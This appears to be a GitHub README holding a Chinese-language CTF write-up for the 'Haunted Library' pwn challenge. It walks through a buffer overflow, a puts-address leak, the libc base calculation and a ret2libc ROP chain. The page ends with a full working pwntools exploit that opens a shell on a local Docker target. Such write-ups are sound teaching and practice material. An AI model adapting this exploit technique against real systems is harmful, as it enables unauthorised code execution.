GlitchKraken/Haunted-Library

GitHub: GlitchKraken/Haunted-Library

一个面向 CTF 比赛的 Pwn 挑战题目及其 ret2libc 漏洞利用的完整解题 Writeup。

Stars: 0 | Forks: 0

## 描述 ![替代文本](https://static.pigsec.cn/wp-content/uploads/repos/cas/9b/9bc9a4e40b7efd3825e1f993ef8d737d354aa00bf785d099556024308247c79f.png) 分值:120 Docker 镜像: [https://drive.google.com/file/d/1kyZmNcftgcB6qfRnGF-QQPXFoibF0NV3/view?usp=drive_link](https://drive.google.com/file/d/1kyZmNcftgcB6qfRnGF-QQPXFoibF0NV3/view?usp=drive_link "smartCard-inline") 提供给玩家的是一个 ELF 文件,以及必要的设置文件:libc.so.6 和 ld-linux-x86-64.so.2。 常规的漏洞利用场景是在远程 Docker 容器中运行的一个程序,它允许玩家查看与程序同目录下的文件,并且可以查看_被允许访问的_文件的内容。 漏洞利用是标准的缓冲区溢出(buffer-overflow)转为 return-to-libc (ret2libc)。 ‌ ‌ ## 挑战 (hauntedlibrary.zip) DEADFACE 似乎将这个程序作为一种方式,让潜在的新成员查看其服务器上的信息,同时限制对更重要文件的访问…… 我尝试了一下,但没走多远就碰壁了。不过我确实有一些发现可能会对你有所帮助: 1\.) 我认为我们无法将 shellcode 放在 stack 上…… 2\.) 入门简直是个噩梦!但我发现了一个程序能让这一切变得容易得多:[https://github.com/io12/pwninit](https://github.com/io12/pwninit "smartCard-inline") ‌ ‌ ## 解决方案 ‌ 1\.) **清点库存** 此时,玩家需要下载提供给他们的文件,并查看挑战描述,点击提供的主要 GitHub 链接: ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/image(30).png) ‌ 在这里,他们能够看到在 GitHub 中链接的 pwninit 程序,如果带有专属的 libc 和 ld 文件,它将会自动为他们设置好 pwn 挑战环境。 他们只需要安装它,然后在他们的挑战文件及其相关文件所在的文件夹中运行 `pwninit`。 从这里开始,他们只需要确保自己正在操作的是挑战可执行文件的 _patched 版本。 ‌ 2\.) **探查程序** 现在一切都已设置妥当并准备好进行漏洞利用,我们应该在挑战二进制文件上运行 checksec,以便确认基本的漏洞可利用性,同时试运行该程序以找到实际的漏洞。 ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/CheckSecHaunted.png) 在这里我们可以看到,该程序具备的主要安全措施是 NX bit,这意味着放置在 stack 上的可执行代码将不起作用。换句话说,stack 上没有免费的 binsh,你得使用 ROP! 接下来,我们查看一下程序,发现它可以查看甚至显示本地文件的内容! ![替代文本](https://static.pigsec.cn/wp-content/uploads/repos/cas/4a/4a2a57b1c449679201445867904389faa9084e6bd317d9c87aa23db3eb8773b1.png) 3\.) **我们的漏洞藏在哪里?** 在这里,我们基本上只需试运行一下程序(或者在 ghidra 或 gdb 中打开它),直到我们能让它因为我们的输入而崩溃——重要的是,我们要能控制它崩溃的_位置_。 在“借阅书籍”(Check out book)功能中塞入一堆 'AAAA' 似乎就能达到目的…… ![替代文本](https://static.pigsec.cn/wp-content/uploads/repos/cas/38/38032d6db6892e02fae5d61c5cedd6930393b7fb9e691db9a7a4d2b057ef1aa5.png) 并且,查看我们的 coredump,我们可以看到它在 0x414141... 处崩溃了……所以,AAAA……太棒了,我们控制了这个区域! ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/image(31).png) 如果我们使用 cyclic,就可以准确判断出我们的漏洞利用需要多少字节的填充(padding),才能完全控制返回地址…… ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/image(32).png) 'cyclic 100' 给了我一串 100 个字符的长字符串,然后它在这里崩溃了^ 执行 cyclic -l 0x6161617861616177 告诉我,在控制 RIP 之前,我需要 88 字节的填充或垃圾字符。 一旦拥有了这种控制权,我就可以让程序前往我想去的任何地方! 4\.) **寻找宝藏** ‌ 既然我们能强制程序跳转到任何地方,我们就想寻找宝藏——程序中任何可能为我们提供 shell、泄露有趣信息等的地方。 在我看来,寻找宝藏最简单的方法就是在 ghidra 或 ida pro 中查看。 ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/Symbols.png) 在符号树中,我们可以看到一些熟悉的函数名,如 main、leave、peruse、checkout……但是,book_of_the_dead 到底是什么???这绝对不是在任何正常流程中被调用的。 在 ghidra 中查看其反编译代码,我们发现它泄露了一个指向 gllibc 中 puts 实现的地址…… 所以我们只需要将返回指针设置到这里,砰!我们就会获得一些新的特色文本和一个指针…… ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/bookofthedead.png) 这太棒了!指针泄露可用于计算 libc 的基地址(也就是说,我们将知道 libc 在内存中的具体位置)。如果我们能做到这一点,我们也能找到 libc 中的任何_其他_东西……这意味着像 system(/bin/sh) 这样有趣的玩意儿! ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/testrun.png) 看一眼被泄露的指针,以及该地址的绝对长度,这告诉我们它确实位于内存中的某处,而不是靠近程序本身的某个 puts。 5\.) **困难的部分——数学计算。** ‌ 然而,指针本身无法立即使用——我们_可以_利用它找到 _libc 的基地址_,我们可以将其提供给 pwntools,以便轻松构建 ROP 链。 回顾一下到底泄露了什么,我们想起被泄露的特定地址是 libc 中 puts 的“实时”地址。但是 puts 在我们下载的本地 libc 中也有一个地址,实际上我们可以像这样在二进制文件中检查它: ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/putsAddr.png) 我们感兴趣的是简单、常规的 puts@glibc,因此 0x82c80 地址正是我们想要的。 为了验证我们是否找到了正确的地址,我们用泄露的地址减去这个 0x82c80 地址(以下输出由我的漏洞利用程序执行): ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/calcs.png) 由于 libc 的基地址是页对齐的(以 000 结尾),这有力地表明我们已经正确地找到了 libc 的基地址! 6\.) **将一切拼凑起来** ‌ 现在,在编写漏洞利用程序时,最重要的部分是: 1\.) 正确地将二进制文件及其 libc 导入 pwntools……这将确保 pwntools 使用正确的文件进行漏洞利用。在这里,实际上玩家也可以直接使用 hauntedlibrary_patched,效果一样好。 ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/pwntoolsImport.png) 2\.) 确保我们的代码能够获取泄露的指针,计算出 libc_base,并将其反馈给 pwntools…… ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/everythingelse.png) 设置了 libc.address 后,我们只需在 libc 中搜索任何我们想要的内容。 在这里,我们不仅搜索 '/bin/sh',而且一旦找到它,我们还只需执行 rop.system(/bin/sh),它就会带着提供的参数调用该函数! 我们不需要做任何额外的工作。 ![替代文本](https://raw.githubusercontent.com/GlitchKraken/Haunted-Library/main/image(33).png) 我们要做的就是发送这条链。 以下是正在运行的概念验证程序及其代码: ![替代文本](https://static.pigsec.cn/wp-content/uploads/repos/cas/c8/c8f41ed1bebe958ab8ce77d3daaf53856279c6e5e6617418d44e9c77a02cba64.png) 我完整可运行的漏洞利用示例程序如下: ``` from pwn import * import time import os ### NOTE TO SELF: 看起来 errno 那些烂玩意起作用了!!!它不会直接终止程序,但确实似乎阻止了我们不喜欢的 syscalls 执行。 # 这是可选的,它只是允许使用 tmux 进行分屏视图,这样我们 # 就可以在运行时同时看到终端和我们的 exploit,在 GDB 中。 context.update(terminal=['tmux', 'splitw', '-h']) HOST = '172.17.0.2' PORT = 7832 elf = context.binary = ELF('./hauntedlibrary') libc = ELF('./libc.so.6') context.binary main = p64(0x401226) old_puts = libc.sym.puts bin_sh_offset = next(libc.search(b'/bin/sh')) print('puts@plt: ' + hex(old_puts)) ret = p64(0x40101a) # 创建变量来保存所提供的 libraries 的位置。 # 我们需要这样做,以便能够强制我们的程序完全像在其原生 env 中那样运行。 LOADER = os.path.abspath('./ld-linux-x86-64.so.2') VULN = os.path.abspath('./hauntedlibrary') LIBC_DIR = os.path.abspath('./') gdbscript = ''' break main run ''' # p = gdb.debug([LOADER, '--library-path', LIBC_DIR, VULN], gdbscript=gdbscript) p = remote(HOST, PORT) # 使用 cyclic 100 找到 padding = b"A" * 88 book_of_the_dead = p64(0x40174f) test_ret = p64(0xb0bacafe) # 清空 input p.clean() # 选择选项 2,'open a book' 以便引发 overflow p.sendline(b'2') # 再次清空 output。 # p.recv(800) p.clean() # 发送 overflow 来测试 ret addr p.sendline(padding+book_of_the_dead+main) p.recvuntil(b'puts(): ') # 获取 14 个字节 - 12 个用于 addr,2 个用于前面的 0x。 leakedAddr = p.recv(14).strip().decode() leakedAddrConverted = int(leakedAddr, 16) # 通过在我的目录中执行 nm -D ./libc.so.6 找到的 puts。 puts = 0x82c80 libcBase = leakedAddrConverted - puts print("Leaked Addr: " + hex(leakedAddrConverted)) print("puts in local: " + hex(puts)) print("libc base: " + hex(libcBase)) libc.address = libcBase bin_sh = next(libc.search(b'/bin/sh')) # 设置 ROP 并将我们设定用于查找 gadgets 和 addresses 的 elf 和 libc 文件提供给它。 rop = ROP([elf,libc]) # 要求 rop 尝试调用 system(bin_sh) rop.system(bin_sh) # 显示我们创建的 rop chain 的内容,用于调试和健全性检查。 print(rop.dump()) p.clean() p.sendline(b'2') p.clean() # 在 padding 和一个简单的 'ret' 之后,实际发送格式正确的 rop chain,该 'ret' 用于遵守 x64 位中的 stack alignment 问题。 # 如果没有 ret,rop chain 将在这里崩溃。 p.sendline(padding+ret+rop.chain()) # p.sendline(b'dogz') p.interactive() ```
标签:Docker, PWN, ret2libc, 安全防御评估, 安全靶场, 缓冲区溢出, 请求拦截, 逆向工具